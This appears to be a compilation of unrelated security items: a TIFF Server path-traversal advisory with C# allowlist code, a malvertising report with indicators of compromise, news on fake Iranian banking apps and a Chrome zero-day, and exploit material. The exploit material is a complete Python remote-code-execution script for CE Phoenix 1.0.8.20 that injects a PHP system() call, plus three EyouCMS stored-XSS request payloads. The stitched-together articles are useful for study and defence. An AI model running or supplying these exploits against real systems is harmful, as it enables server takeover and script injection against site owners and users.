The default configuration of Aquaforest TIFF Server allows access to arbitrary file paths, subject to any restrictions imposed by Internet Information Services (IIS) or Microsoft Windows. Depending on how a web application uses and configures TIFF Server, a remote attacker may be able to enumerate files or directories, traverse directories, bypass authentication, or access restricted files.




**Background**

Tiff Server was one of Aquaforest’s first products, released in 2002.

It enabled users to view TIFF files within a web site or web-based application without requiring the use of special image viewer plugins or applets ( a requirement for the cutting edge Internet Explorer and Netscape Navigator browsers at that time).

It was designed to be used on an intranet, and was never intended to be exposed to the outside world. When TIFF Server was designed, the concept of zero-trust networking and the risk of network-internal threats had not yet entered the mainstream industry consciousness.

Over the years, additional features were added but the underlying model has remained.

**Security Advisory**

External partners have identified that organisations running an insufficiently configured instance of TIFF Server may allow an unauthenticated attacker to craft a request that abuses certain parameters available in TIFF Server’s exposed ASP.NET forms. This weakness can be mapped to the MITRE CWE framework as CWE-22.

Parameters in the *.aspx forms bundled in TIFF Server are designed to leverage the capabilities of IIS to allow it to source files from arbitrary provided locations in order to maximise customisation flexibility. At the time, the implications of these original design decisions were unclear but meant that carefully crafted requests to certain insufficiently configured servers may be able to:

*   Allow an unauthenticated user to view documents that should otherwise require authentication.
*   Detect directories that the user TIFF Server is running as has access to.
*   Count files within directories the user TIFF Server is running as has access to.
*   Detect if files exist in locations TIFF Server has access to.

This architectural design pattern that could allow this flaw is present in all versions of TIFF Server.

As this functionality is intended to allow customisation of features provided by TIFF Server and may be in use by customers still using TIFF Server, there is not a “one-size-fits-all” resolution that does not require customer-side configuration.

**Improving Security Configuration within TIFF Server**

The best way to mitigate the risk of an unauthenticated attacker accessing contents that should not be accessible is to use the Custom Auditing and Security option supplied in Section 13 of the Tiff Server Reference Guide to implement allowlisting for limiting incoming requests to only the directories intended for use with TIFF Server.

Though the Custom Auditing and Security option and its use is described in the reference guide, we had not previously provided examples of using it.

In order to provide guidance to our customers still using TIFF Server, we have provided an example below for implementing such a configuration. The following implementation uses a file containing a list of accepted file paths:

    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Net;
    using System.Web;
    
    /// <summary>
    /// The following AquaforestTIFFServerAudit code is designed to check 
    /// the filepath is within the allowlisted URLs
    /// </summary>
    namespace AquaforestTIFFServerAudit
    {
        /// <summary>
        /// This code has a hard coded filepath for the AllowList
        /// </summary>
        public class TIFFServerAudit
        {
    
            /// <summary>
            /// This is a skeleton function, add features as required.
            /// </summary>
            /// <param name="fileName"></param>
            /// <param name="action"></param>
            /// <param name="AUTH_USER"></param>
            /// <returns></returns>
            public static bool securityCheck(string fileName, string action, string AUTH_USER)
            {
                // Add check that filepath is within the AllowList
                // Get the filepath from the filename
                string filePath = Path.GetDirectoryName(Path.GetFullPath(fileName).ToLowerInvariant());
    
                // If it is not in the allowlist end the response.
                if (!TiffServerAllowlist.InAllowList(filePath))
                {
                    return false;
                }
                else
                {
                    return true;
                }
                // Return False to disable access
            }
            public static void logAction(string action)
            {
                // Action is one of :
                // VIEW, PRINT, PDF, SAVEPDF, GETANNOTATIONS, SAVEANNOTATIONS, EDIT, SAVEEDIT
                try
                {
                    // Get the file path from one of these supplied sources depending upon the supplied Action
                    string fileName = HttpContext.Current.Request["FN"];
                    if (action == "EDIT" || action == "SAVEEDIT")
                    {
                        fileName = HttpContext.Current.Request["filename"];
                    }
                    else
                    if (action == "GETANNOTATIONS")
                    {
                        fileName = HttpContext.Current.Server.MapPath(HttpContext.Current.Request["an_url"]);
                    }
                    else
                    if (action == "SAVEANNOTATIONS")
                    {
                        fileName = HttpContext.Current.Request["anfile"];
                    }
    
                    // Audit operations
                    string status = "OK"; // Default
                    string auditFileName = (string)HttpContext.Current.Session["ts_audit_file"];
    
                    string PC = HttpContext.Current.Request["PC"];
                    string AUTH_USER = HttpContext.Current.Request.ServerVariables["AUTH_USER"];
                    string REMOTE_HOST = HttpContext.Current.Request.ServerVariables["REMOTE_HOST"];
    
                    if (auditFileName == null || auditFileName == "")
                    {
                        if (!securityCheck(fileName, action, AUTH_USER))
                        {
                            HttpContext.Current.Response.Write($"You do not have permission to {action} this file.{Environment.NewLine}{Path.GetExtension(fileName)}{Environment.NewLine}Please contact your system administrator.");
                            HttpContext.Current.Response.End();
                        }
                        return;
                    }
    
                    /* 
                     * Any Security Checks May Go Here and Terminate Response with 
                     * HttpContext.Current.Response.End() before or after writing log entry
                    */
    
                    if (!securityCheck(fileName,action,AUTH_USER))
                    {
                        if (action == "GETANNOTATIONS")
                        {
                            HttpContext.Current.Response.Write("<ts_annot></ts_annot>");
                            HttpContext.Current.Response.End();
                        }
                        if (PC == "Y")
                        {
                            HttpContext.Current.Response.Write("afPageCount=-5;afMessage='You do not have permission to access this file.  Please contact your system administrator.';");
                            HttpContext.Current.Response.End();
                        }
                        else
                        {
                            HttpContext.Current.Response.Clear();
                            HttpContext.Current.Response.End();
                        }
                    }
    
                  
                    if (action == "VIEW" && PC != "Y")
                    {
                        // Only log for the initial page count request, not for each page 
                        return;
                    }
        			
                    System.IO.StreamWriter auditFile = new System.IO.StreamWriter(auditFileName, true);
                    if (auditFile != null)
    				{
                        auditFile.WriteLine(DateTime.Now + "," + action+","+status+","+fileName+","+AUTH_USER+","+REMOTE_HOST+","+HttpContext.Current.Request.Url);
                        auditFile.WriteLine();
                        auditFile.Flush();
                        auditFile.Close();
    				}
    			}
                catch (WebException wex)
                {
    
                }
    			catch(Exception ex)
    			{
    
    			}
    		}
        }
    
        /// <summary>
        /// This static class checks if a filepath is included in the AllowList
        /// </summary>
        public static class TiffServerAllowlist
        {
            /// <summary>
            /// Static list of AllowListed locations
            /// </summary>
            private static List<string> _AllowList;
    
            /// <summary>
            /// Constructor that loads up the allowlist from the filepath
            /// </summary>
            static TiffServerAllowlist()
            {
                _AllowList = new List<string>();
    
                // This is hard coded to a specified location, it will need to be edited and pointed at a valid text file.
                // The file contains root paths that TifServer is allowed to access.
                string temp =Path.GetFullPath(@"C:\inetpub\wwwroot\tiffserver\AllowList.txt");
                if (File.Exists(temp))
                {
                    string contents = File.ReadAllText(temp);
                    foreach (string line in contents.Split('\n'))
                    {
                        _AllowList.Add(line.Replace("\r", ""));
                    }
                }
            }
            /// <summary>
            /// Returns whether the supplied filepath is within the AllowList
            /// </summary>
            /// <param name="filePath"></param>
            /// <returns></returns>
            public static bool InAllowList(string filePath)
            {
                bool result;
                if (_AllowList.Count == 0)
                {
                    result = true;
                }
                else
                {
                    result = false;
                    foreach(string rootPath in _AllowList)
                    {
                        if (filePath.Contains(rootPath))
                        {
                            result = true;
                            break;
                        }
                    }
                }
    
                return result;
            }
        }
    }
    

Example allowlist file:

    D:\data\project_1\tiffs
    D:\data\project_2\tiffs
    C:\inetpub\wwwroot\tiffserver\samples

As the full source of the Custom Auditing and Security class is available, it’s possible to edit it in other ways if the example given above is not compatible with the way you have implemented TIFF Server.

**The future…**

As described in the blog post TIFF Server Sunsetting (aquaforest.com), Tiff Server will be sunsetted by 31 May 2024. We will continue to provide product support for existing customers until that date, but no updates are planned prior to sunset.

We have provided the example above to help customers hold themselves over until the sunset date while planning their migration to other solutions. Customers are not advised to remain using TIFF Server after the sunset date because no further updates, support, or guidance will be offered at that time.

We would suggest that if you are a current user of TIFF Server and have not begun to plan a replacement, this would be a good opportunity to look at our PSPDFKit Web-Standalone solution that has superseded TIFF Server.

You can explore a demo of the PSPDFKit image viewer **here** and get started with a trial by following **this link**.

As a valued customer, we’d like to provide you with a custom offer tailored to your needs. If you are not sure what products best suit your usage needs, our sales team can help work with you to determine a solution for your needs moving forward. To discuss your requirements, please contact us via the **sales team**.

CVE-2023-6352: Tiff Server security update - Aquaforest

A fake antivirus alert may suddenly hijack your screen while browsing. This latest malvertising campaign hit top publishers.

ScamClub is a threat actor who’s been involved in malvertising activities since 2018. Chances are you probably ran into one of their online scams on your mobile device.

Confiant, the firm that has tracked ScamClub for years, released a comprehensive report in September while also disrupting their activities. However, ScamClub has been back for several weeks, and more recently they were behind some very high profile malicious redirects.

The list of affected publishers includes the Associated Press, ESPN and CBS, where unsuspecting readers are automatically redirected to a fake security alert connected to a malicious McAfee affiliate.

ScamClub is resourceful and continues to have a deep impact on the ad ecosystem. While we could not identify precisely which entity served the ad, we have reported the website used to run the fake scanner to Cloudflare which immediately took action and flagged it as phishing.

**Forced redirects**

Mastodon user Blair Strater (@r000t@fosstodon.org) was simply browsing the Associated Press website on his phone when he was suddenly redirected to a fake security scan page:

Malicious redirect from APnews.com (credit Blair Strater)

This fake scanner is not run by McAfee, but the domain name _systemmeasures\[.\]life_ that we see in the address bar is the landing page that redirects to one of its affiliates. That affiliate was previously reported but continues unabated.

Web traffic between malicious page and McAfee site

Based on public data, several ad exchanges were abused to deliver this fake antivirus campaign via real-time bidding (RTB) in the past few weeks Most of the telemetry we saw from our Malwarebytes user base was related to smaller websites with ‘risky’ advertisers. However, a different campaign was targeting mobile users with malicious ads slipping by on top publishers (note: this data comes from VirusTotal):

**ESPN.COM (1.585B monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=5uz3hbaiz7oz2&k=b47648817b492be8ba9c7dc97addefb6&country\_code=US&carrier=Verizon&country\_name=United%20States&region=New%20York&city=Bronx&isp=MCI%20Communications%20Services,%20Inc.%20d/b/a%20Verizon%20Business&lang=en&ref\_domain=**www.espn.com**&os=**iOS**&osv=17&browser=Chrome&browserv=119&brand=Apple&model=iPhone&marketing\_name=iPhone&tablet=2&rheight=0&rwidth=0&e=5

**APNEWS.COM (307.2M monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=59z40b4g6z7oz2&k=506222e0611d62c3261b9ba847063faa&country\_code=US&carrier=-&country\_name=United%20States&region=Virginia&city=Alexandria&isp=Comcast%20Cable%20Communications,%20LLC&lang=en&ref\_domain=**apnews.com**&os=**Android**&osv=10.&browser=Chrome&browserv=119&brand=unknown&model=unknown&marketing\_name=K&tablet=2&rheight=0&rwidth=0&e=5

**CBSSPORTS.COM (265.1M monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=5uz16jptz7oz2&k=d2761f12fed2ce8472ab704fd55d49e1&country\_code=US&carrier=-&country\_name=United%20States&region=Colorado&city=Greenwood%20Village&isp=Charter%20Communications%20Inc&lang=en&ref\_domain=**www.cbssports.com**&os=**Android**&osv=10.&browser=Chrome&browserv=119&brand=unknown&model=unknown&marketing\_name=K&tablet=2&rheight=0&rwidth=0&e=5

Most of the public reports (\[1\], \[2\], \[3\]) indicate this campaign was at its peak around **November 19**. To be clear, AP, ESPN, CBS and other sites were not hacked, but rather showed malicious ads. It appears that this high profile campaign stopped shortly after, as we haven’t seen new telemetry data coming from these publishers. However, the other campaign we are also monitoring that is affecting smaller sites is still ongoing (via _eu\[.\]vulnerabilityassessments.life_ and _us.vulnerabilityassessments\[.\]life_).

**Connection with ScamClub**

We were able to connect this campaign to the ScamClub infrastructure because of another domain (_trackmaster\[.\]cc_) that was previously mentioned as belonging to the threat actor. We can see the relationship between _systemmeasures\[.\]life_ (the landing page) and _trackmaster\[.\]cc_ (the intermediary domain) in the urlscanio submission below:

urlscanio scan showing the relationship between two domains

**Fingerprinting**

Like other malvertising threat actors, ScamClub dabbles in obfuscation and evasion techniques. However, as previously detailed by Confiant, they are using much more advanced tricks. Their JavaScript uses obfuscation with changing variable names, making identification harder.

Previously, the malicious JavaScripts were hosted on Google’s cloud but they have now moved to Azure’s CDN.

ScamClub’s malicious JavaScript

**Malvertising and mobile users**

On this blog, we have covered a number of malvertising campaigns targeting Desktop, both consumer and enterprise. This is in part because we hunt for Windows malware and the occasional Mac ones too.

ScamClub is a good example of targeting a big market segment, Mobile Web, where security software is often an afterthought, in particular on iOS, in part due to restrictions imposed by Apple. Clearly, malvertising is flourishing on Mobile and users are just as likely, if not more, to get tricked into downloading malware or get scammed.

Malwarebytes for Android protects users from this campaign:

**Indicators of Compromise**

**ScamClub URLs**

octob\[.\]azureedge\[.\]net/oc.js
lzi\[.\]azureedge\[.\]net/lz.js
tinlc\[.\]azureedge\[.\]net/pt.js
bm-rb\[.\]azureedge.net/rb.js
foluo\[.\]azureedge\[.\]net/fo.js
vpv-ger\[.\]azureedge\[.\]net/VpaidVideoAd1.js

**ScamClub JavaScript hashes**

c01716e23f633b206147efbe70fb37945e3857d6575fd088ea50106fb541cf1e  
899cbfbd676159201b2281d9e0e66f3ac200ac58b674375bde04083ff87650ad  
451b48c8f247f25cd09a1bf4a52fc195a74830d88bd2ffed7a5d4b7830e10621  
495304b489cecd33188ca2a7407d397996fd82ea99966e7c145f0dc67ab2dfb5  
a616fc2c1a075170d4decdb9d3c9ad15f2cfbcfda78dbe4c60d72132b9d006c9  
34f15ec739df72f5ac245db3fff11ea56407e95b94e24bbb820d7999032866d8  
a7a73d3bc716346808b2ee8070dfe5842bb01e10aee1fa9ba87fb975d71d0f4f  
de2f1745cdfbe58266b804961bdbd5be8f533843ed7fdf4b5fe6eb0060876b56  
1614786dd6ff4189975e8226ab7e68d258817b435c3c4e145951f5147699878e  
52cd9f2ff282354c77087b204d5cb32cee9066e8eea4e3c3b8f7cf4d3d3fa20f  
df03df284bfbbe006383f26c0c91394f4c4c8d915d04b868a00954f63e6163e0  
2f3867d33c448b941278671df9a2b8d3d6b29dec5d74b67654f5edfcc6771575  
243d9d70703644f3df148e7633f3ec461a9c43149ea58fd547e2e6fd0c47cce5

**Redirectors**

trackmaster\[.\]cc  
protectsystemtools\[.\]life  
securitypatch\[.\]life  
real-time-system-monitoring\[.\]life  
threatdetectorhub\[.\]life  
threatdetectorhub\[.\]online  
vulnerabilityassessments\[.\]life  
strike-it-lucky\[.\]space  
golden-opportunity\[.\]xyz  
stroke-of-luck\[.\]xyz  
blessed-with-luck\[.\]space  
system-scan-tool\[.\]space  
system-security-scan\[.\]buzz  
system-security-scan\[.\]net  
system-scan-tool\[.\]online  
trk6\[.\]kokamedia\[.\]com  
tracklinker\[.\]space  
trackmenow\[.\]life  
trackify\[.\]world  
trackinghub\[.\]info  
trkmyclk\[.\]xyz  
trk-server\[.\]xyz

34.74.68\[.\]195

**Scam landing pages**

systemmeasures\[.\]life
xyzcreators\[.\]xyz

 Associated Press, ESPN, CBS among top sites serving fake virus alerts 

No Iranian bank customers are safe from financially motivated cybercriminals wielding convincing but fake mobile apps.

Source: Stephen Barnes/Finance via Alamy Stock Photo

A mammoth campaign targeting Iran's banking sector has grown in magnitude in recent months, with nearly 300 malicious Android apps targeting users for their account credentials, credit cards, and crypto wallets.

Four months ago, researchers from Sophos detailed a lengthy campaign involving 40 malicious banking apps designed to harvest credentials belonging to unwitting customers. By imitating four of the Islamic Republic's most significant financial institutions — Bank Mellat, Bank Saderat, Resalat Bank, and the Central Bank of Iran — hackers were able to install and hide their copycat apps on victims' phones, harvesting logins, intercepting SMS messages with one-time passcodes, and stealing sensitive financial information, including credit cards.

Apparently, that was just the opening salvo. A new blog post from Zimperium has revealed 245 more apps associated with the same, clearly ongoing campaign, 28 of which had not previously been recorded on VirusTotal.

And this new trove isn't just bigger — it's more diverse, and more sophisticated than the first 40 were, featuring new kinds of targets, and tactics for stealth and persistence.

**285 Fake Banking Apps**

The 245 new apps discovered since the summer extend beyond the bounds of the original 40 by actively targeting four new Iranian banks, with some evidence that they have another four more in their sights.

Besides banks, the attackers have also started probing for data relating to sixteen cryptocurrency platforms, including such popular ones as Metamask, KuCoin, and Coinbase.

To facilitate the targeting of a dozen banks and 16 crypto hubs, the attackers have also added some new tools to their arsenal. For example, one little trick they use to avoid infrastructure takedowns involves a command-and-control server with the lone purpose of distributing phishing links. As the researchers explained, this "allows for the server URL to be hardcoded on the application without the risk of being taken down."

The group's most notable new tactic, however, is how its apps abuse accessibility services. 

"While using the accessibility API, they get a way to programmatically access the UI's elements," explains Nico Chiaraviglio, chief scientist of Zimperium. He explains that attackers can invisibly interact with the device in some of the same ways a user can, to malicious effect. For example, "they can request for dangerous permissions (such as reading SMS) and when the user is prompted to accept the permission, they click on 'Accept' before the user even sees the notification. Or they prevent uninstallation by clicking on 'Cancel' when the user tries to uninstall the app."

Thus far the fake apps have been limited to Android devices. But among the attackers' belongings, the researchers did uncover phishing websites mimicking banking apps' Apple App Store pages, indicating that the campaign may expand to iPhones in the near future.

Long before that happens, the campaign will have touched thousands. "Based on the information obtained from one of their Telegram channels, we know that there are thousands of victims. But we could only access one of the channels used (since one of them is private) and there is no guarantee that they didn't use other channels in the past." 

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Deluge of Nearly 300 Fake Apps Floods Iranian Banking Sector

CE Phoenix version 1.0.8.20 remote code execution exploit written in Python.

    ## Exploit Title: CE Phoenix v1.0.8.20 - Remote Code Execution (RCE) (Authenticated)#### Date: 2023-11-25#### Exploit Author: tmrswrr#### Category: Webapps#### Vendor Homepage: [CE Phoenix](https://phoenixcart.org/)#### Version: v1.0.8.20#### Tested on: [Softaculous Demo - CE Phoenix](https://www.softaculous.com/apps/ecommerce/CE_Phoenix)## EXPLOIT :import requestsfrom bs4 import BeautifulSoupimport sysimport urllib.parseimport randomfrom time import sleepclass colors:    OKBLUE = '\033[94m'    WARNING = '\033[93m'    FAIL = '\033[91m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'    CBLACK = '\33[30m'    CRED = '\33[31m'    CGREEN = '\33[32m'    CYELLOW = '\33[33m'    CBLUE = '\33[34m'    CVIOLET = '\33[35m'    CBEIGE = '\33[36m'    CWHITE = '\33[37m' def entry_banner():    color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,                    colors.CRED, colors.CBEIGE]    random.shuffle(color_random)    banner = color_random[0] + """     CE Phoenix v1.0.8.20 - Remote Code Execution \n     Author: tmrswrr    """    for char in banner:        print(char, end='')        sys.stdout.flush()        sleep(0.0045)def get_formid_and_cookies(session, url):    response = session.get(url, allow_redirects=True)    if response.ok:        soup = BeautifulSoup(response.text, 'html.parser')        formid_input = soup.find('input', {'name': 'formid'})        if formid_input:            return formid_input['value'], session.cookies    return None, Nonedef perform_exploit(session, url, username, password, command):    print("\n[+] Attempting to exploit the target...")       initial_url = url + "/admin/define_language.php?lngdir=english&filename=english.php"    formid, cookies = get_formid_and_cookies(session, initial_url)    if not formid:        print("[-] Failed to retrieve initial formid.")        return    # Login    print("[+] Performing login...")    login_payload = {        'formid': formid,        'username': username,        'password': password    }    login_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': initial_url    }    login_url = url + "/admin/login.php?action=process"    login_response = session.post(login_url, data=login_payload, headers=login_headers, allow_redirects=True)    if not login_response.ok:        print("[-] Login failed.")        print(login_response.text)        return    print("[+] Login successful.")    new_formid, _ = get_formid_and_cookies(session, login_response.url)    if not new_formid:        print("[-] Failed to retrieve new formid after login.")        return    # Exploit    print("[+] Executing the exploit...")    encoded_command = urllib.parse.quote_plus(command)    exploit_payload = f"formid={new_formid}&file_contents=%3C%3Fphp+echo+system%28%27{encoded_command}%27%29%3B"    exploit_headers = {        'Content-Type': 'application/x-www-form-urlencoded',        'Cookie': f'cepcAdminID={cookies["cepcAdminID"]}',        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',        'Referer': login_response.url    }    exploit_url = url + "/admin/define_language.php?lngdir=english&filename=english.php&action=save"    exploit_response = session.post(exploit_url, data=exploit_payload, headers=exploit_headers, allow_redirects=True)    if exploit_response.ok:        print("[+] Exploit executed successfully.")    else:        print("[-] Exploit failed.")        print(exploit_response.text)        final_response = session.get(url)    print("\n[+] Executed Command Output:\n")    print(final_response.text)  def main(base_url, username, password, command):    print("\n[+] Starting the exploitation process...")    session = requests.Session()    perform_exploit(session, base_url, username, password, command)if __name__ == "__main__":    entry_banner()    if len(sys.argv) < 5:        print("Usage: python script.py [URL] [username] [password] [command]")        sys.exit(1)    base_url = sys.argv[1]    username = sys.argv[2]    password = sys.argv[3]    command = sys.argv[4]    main(base_url, username, password, command)

CE Phoenix 1.0.8.20 Remote Code Execution

The vulnerability is among a rapidly growing number of zero-day bugs that major browser vendors have reported recently.

Source: PREMIO STOCK via Shutterstock

For the fourth time since August, Google has disclosed a bug in its Chrome browser technology that attackers were actively exploiting in the wild before the company had a fix for it.

**Integer Overflow Bug**

The latest zero-day, which Google is tracking as CVE-2023-6345, stems from an integer overflow issue in Skia, an open source 2D graphic library in Chrome. The bug is one of seven Chrome vulnerabilities for which Google issued a security update this week.

The company's advisory contained sparse details on CVE-2023-6345 beyond mentioning the fact that an exploit for it is publicly available. A brief description on NIST's National Vulnerability Database (NVD) site described the flaw as affecting versions of Chrome prior to 119.0.6045.199 and allowing a remote attacker who has "compromised the renderer process to potentially perform a sandbox escape via a malicious file." The NVD identified the bug as a high-severity issue.

Google credited researchers at its Threat Analysis Group for finding and reporting CVE-2023-6345 on Nov. 24.

The vulnerability is the seventh zero-day that Google has rushed to patch amid active exploit activity this year and is the latest manifestation of growing attacker interest in Chrome and other browsers.

**A Flood of Browser Zero-Days**

Since the beginning of this year, Apple, Google, Microsoft, and Firefox have all disclosed multiple critical vulnerabilities in their respective browsers, including a handful of zero-days. In some instances, a bug in some widely used component affected multiple browsers at once, as was the case with CVE-2023-4863, a zero-day heap overflow in WebP, a code library common to Chrome, Apple Safari, and Mozilla Firefox. In other instances, as with CVE-2023-5217, a zero-day bug in Chrome impacted multiple browsers based on Chromium technology, such as Microsoft Edge, Opera, Brave, and Vivaldi.

There were also multiple zero-days that Apple disclosed separately this year in its WebKit browser engine for Safari, including CVE-2023-28205 and three others in May: CVE-2023-32409, CVE-2023-28204, and CVE-2023-32373. Both Microsoft and Mozilla have also separately reported other critical bugs in their respective browsers.

It is unclear which threat actor might be currently exploiting CVE-2023-6345, the bug that Google disclosed this week, or why. But in recent months, Google and Apple have warned about vendors of commercial surveillance products exploiting zero-day bugs in their respective browser technologies to drop spyware on Android, iOS, and other mobile devices. Google discovered CVE-2023-4863 after researchers at Apple and Toronto University Citizen Lab informed the company about a commercial vendor using the flaw to drop Predator spyware on Android and iOS devices.

**Ubiquitous Use**

Much of the growing attacker interest in browsers has to do with their ubiquitous use, says Lionel Litty, chief security architect at Menlo Security. The exploding use of Web applications has resulted in users spending most of their time on browsers for everything from accessing applications and webpages to additional content such as PDFs and other documents. Adding to this is the drive by Google to integrate even more features into its browser and make it a replacement for fat client technologies, Litty says. This includes enabling access to USB devices, Bluetooth, and even the GPU through the WebGPU interface.

"Despite all the care taken by Google engineers, we continue to see a steady stream of security issues that are exploitable, including many zero-days that are actually exploited," he says.

The fact that multiple browsers are based on Chromium is another reason for attackers targeting the technology, Litty notes. "Developing an exploit against Chrome usually means that it will work against all browsers, save Safari and Firefox, allowing bad actors to target more victims without any additional work."

Saeed Abbasi, manager of vulnerability and threat research at Qualys, points to similar reasons for Chrome's growing popularity among threat actors. "Additionally, the high commercial value of exploiting a widely used platform like Chrome attracts sophisticated attackers, including those backed by state sponsors," he says.

More generally, browser vulnerabilities present significant risks for organizations, Abbasi says. Attackers can use browser bugs to sneak malware and spyware into an organization. Additionally, attackers might exploit these weaknesses to steal login credentials and other data for potential future attacks.

"To mitigate risks from browser vulnerabilities, organizations should prioritize regular updates and patch management to keep browsers up to date," Abbasi notes. "Implementing network segmentation can restrict browser access to sensitive areas, reducing breach impacts."

**About the Author(s)**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Google Patches Another Chrome Zero-Day as Browser Attacks Mount

A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Document Properties field at /login.php m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn.

    POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1
    Host: 192.168.3.135
    Content-Length: 100
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.3.135
    Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=ArchivesFlag&a=index&lang=cn
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; admin-treeClicked-Arr=%5B%5D; ENV_IS_UPHTML=0; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=index%7CArchivesFlag
    Connection: close
    
    table=archives_flag&id_name=id&id_value=1&field=flag_name&value=<img src=1 onerror=alert(1)>

CVE-2023-48882: EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting · Issue #54 · weng-xianhu/eyoucms

A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Field Title field at /login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn.

    POST /EyouCMS/login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn HTTP/1.1
    Host: 192.168.3.135
    Content-Length: 131
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.3.135
    Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Field&a=arctype_add&lang=cn
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=1; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2FEyouCMS%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; admin-treeClicked-Arr=%5B%5D; workspaceParam=arctype_index%7CField
    Connection: close
    
    title=<img src=1 onerror=alert(1)>&name=aaaaaaaa&dtype=text&dfvalue=aaaaaa&remark=aaaaaaaaaa&typeids%5B%5D=8&channel_id=-99

CVE-2023-48881: EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting · Issue #53 · weng-xianhu/eyoucms

A stored cross-site scripting (XSS) vulnerability in EyouCMS v1.6.4-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Menu Name field at /login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn.

    POST /EyouCMS/login.php?m=admin&c=Index&a=changeTableVal&_ajax=1&lang=cn HTTP/1.1
    Host: 192.168.3.135
    Content-Length: 94
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.3.135
    Referer: http://192.168.3.135/EyouCMS/login.php?m=admin&c=Member&a=ajax_menu_index&lang=cn
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=1mvmqpf2r3tteku8fbf3bu1to6; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=users_index%7CMember
    Connection: close
    
    table=users_menu&id_name=id&id_value=11&field=title&value=<img src=1 onerror=alert(1)>

CVE-2023-48880: EyouCMS-V1.6.4-UTF8-SP1 has a vulnerability, Stored Cross-Site Scripting · Issue #52 · weng-xianhu/eyoucms

